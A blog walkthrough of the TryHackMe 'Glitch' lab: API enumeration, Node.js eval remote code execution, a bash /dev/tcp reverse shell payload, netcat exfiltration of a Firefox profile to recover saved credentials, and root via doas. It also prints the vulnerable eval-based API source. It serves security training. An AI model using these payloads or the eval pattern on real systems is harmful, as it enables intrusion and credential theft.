Glitch Banner

Glitch is an easy-rated machine on TryHackMe developed by infamous55. It takes us through enumerating API endpoints and finding an access token and even more endpoints to exploiting NodeJS RCE in one of the query parameters of an API endpoint. We then escalate RCE to get a shell and find stored credentials inside a Firefox profile to escalate to another user and eventually root using misconfigured permissions.


Port Scanning

Host is up (0.54s latency).
Not shown: 999 filtered ports
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .

There is only 1 port open: Port 80 - HTTP (nginx

It also tells that the web server is running on an Ubuntu server.

HTTP (Port 80)

Accessing the website in the browser just gives a weird page, there will be a black glitchy image on the entire webpage.

Web Homepage

Viewing the page source gives us some interesting javascript code inside <script> tag.

Page source:

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>not allowed</title>

      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      body {
        height: 100vh;
        width: 100%;
        background: url('img/glitch.jpg') no-repeat center center / cover;
      function getAccess() {
          .then((response) => response.json())
          .then((response) => {

The code inside <script> tag is interesting, it runs fetch API to send a request to /api/access and extracts the JSON response to log it.

We have discovered this endpoint /api/access by viewing the page source, let’s access it.

API Endpoint - /api/access

There is a JSON parameter “token” with a base64 encoded value. Decoding the value gives us this_is_not_real. It is the first flag for this machine.

Enumerating API Endpoints

Now that we know there is an API server that is running, we can try to enumerate more endpoints to see if we can get more information. We can use gobuster to do a regular directory bruteforce. The /api endpoint appears to be the root directory of the API server so now we can bruteforce a directory after /api/.

Gobuster API Bruteforce

There are 2 endpoints with 200 response code. We already know about /api/access but /api/items is new so let’s access it.

API Endpoint - /api/items

It just serves some useless JSON data. After trying to enumerate for a while I decided to look for query parameters for this endpoint. However, bruteforcing for query parameters wasn’t as straightforward as you’d expect. The hint for user flag indicates to use a different HTTP method and that’s how you can fuzz for query parameters, by changing the request method to POST in the fuzzer tool you use.

By changing the request method to POST, all the invalid requests lead to response with 400 status code with JSON body:

400 Response

I used ffuf with big.txt wordlist to fuzz parameters. Keep in mind that only POST requests will work if you want to enumerate successfully.

FFUF data

Fuff successfully found a query parameter cmd. We can send a request with a random value in this parameter using cURL.

cURL command:

curl -D - -XPOST --data "cmd=hello"

The above cURL command sends a POST request to the /api/items endpoint with the query parameter cmd and POST data with the same parameter. The -D - flag is used to tell cURL to dump the headers to /dev/stdout (standard output)

HTTP Response after cURL commmand:

[email protected]:~/Documents/platforms/tryhackme/glitch$ curl -D - -XPOST --data "cmd=hello"

HTTP/1.1 500 Internal Server Error
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 22 May 2021 01:14:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1082
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff

<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>ReferenceError: hello is not defined<br> &nbsp; &nbsp;at eval (eval at (/var/web/routes/api.js:25:60), &lt;anonymous&gt;:1:1)<br> &nbsp; &nbsp;at (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>

The response returns a “500 Internal Server Error” status code. The response body is interesting, we can see that it says hello is not defined <br> &nbsp; &nbsp;at eval.

This error means that the source code is running eval function on our input, and the application is written in Express JS - a Node.js web application framework (refer to the file paths in the response body).

eval function evaluates a given expression and if the given input is a statement, eval executes it.

Syntax: eval(String) where string is an expression, statement, or sequence of statements.

Now that we know the purpose of eval, it is clear that any given statement will be executed server-side.

We can give in a valid JS statement that will be executed by the eval function.

Node.js RCE Exploitation

We can use different Node.js libraries to perform any task we want. For example - we can use the filesystem library (fs) to read any internal files on the server.

The Node.js one-liner code to read /etc/passwd file would be:


We can use this code and pass it as a query parameter to the vulnerable endpoint and read the file.

Reading /etc/passwd

cURL command - curl -D - -XPOST "'fs').readFileSync('/etc/passwd')" --data "cmd=hello"

Getting a reverse shell

We can use a Node.js module “child_process” to execute system commands, the one-liner code for that would be as follows:


We can put in a Bash TCP reverse shell payload to get a stable shell on our machine.

require('child_process').exec('bash -c "/bin/bash -i >& /dev/tcp/ 0>&1"')

Reverse Shell as user

How did this work?

Let’s understand the source code of the application to understand how this works. After getting a shell, I read the file /var/web/routes/api.js cause that’s the source file of the API endpoint.

// /var/web/routes/api.js

const express = require('express');
const router = express.Router();

const data = {
  sins: ['lust', 'gluttony', 'greed', 'sloth', 'wrath', 'envy', 'pride'],
  errors: [
  deaths: ['death'],

router.get('/items', (req, res) => {
});'/items', (req, res) => {
  if (req.query.cmd) res.send('vulnerability_exploited ' + eval(req.query.cmd));
  else res.status(400).json({ message: 'there_is_a_glitch_in_the_matrix' });

router.get('/access', (req, res) => {
  res.json({ token: 'dGhpc19pc19ub3RfcmVhbA==' });

module.exports = router

We can see an eval function in'/items') declaration that says that if “cmd” query parameter exists then respond with “vulnerability_exploited” and the output of the eval function executed on the supplied value on “cmd” query parameter. That is why we saw the output of our command after “vulnerablity_exploited” string in the response.

Privilege Escalation to v0id

Running ls -la I found a hidden directory .firefox.

ls -la - user

.firefox is a directory where Firefox profiles are stored, we can load the profile on our host machine to look for anything interesting saved in the profile.

To analyze the profile, we need to exfiltrate the file to our host machine. I compressed the file using tar and transferred to my machine using netcat.

Host Machine

nc -lvnp 9000 > firefox_data.tar.gz

Glitch Machine

tar -czvf firefox_data.tar.gz ./.firefox/
nc 9001 < firefox_data.tar.gz

To decompress the exfiltrated file on the host machine, run tar -xvf firefox_data.tar.gz and use cd to go to that directory.

The profile name is b5w4643p.default-release. To run firefox with this profile, use the following command:

firefox --profile .firefox/b5w4643p.default-release

Make sure you’re in the directory where .firefox (exfiltrated and decompressed) directory is present. Firefox should start immediately.

The first thing I checked was for any saved login credentials, v0id’s system credentials turned out to be saved in this profile. You can type about:logins in the firefox URL bar and get the credentials of v0id.

Firefox Saved Login Credentials

Privilege Escalation to root

Now that we have the login credentials of v0id, we can use su v0id and use the credentials.

The hint for root in TryHackMe says “My friend says that sudo is bloat”.

Google Search

This hints us towards using “doas” - a sudo alternative for OpenBSD.

Using doas to run /bin/bash with the credentials of v0id works! It’s like using sudo bash with the current user except using doas instead of sudo.

doas bash

I hope you enjoyed the write-up and learned new stuff! Feel free to message me on my socials for feedback/suggestions. Contact Me

Thank you for reading!

If you liked this blog and want to support me, you can do it through my BuyMeACoffee page!

Back to Top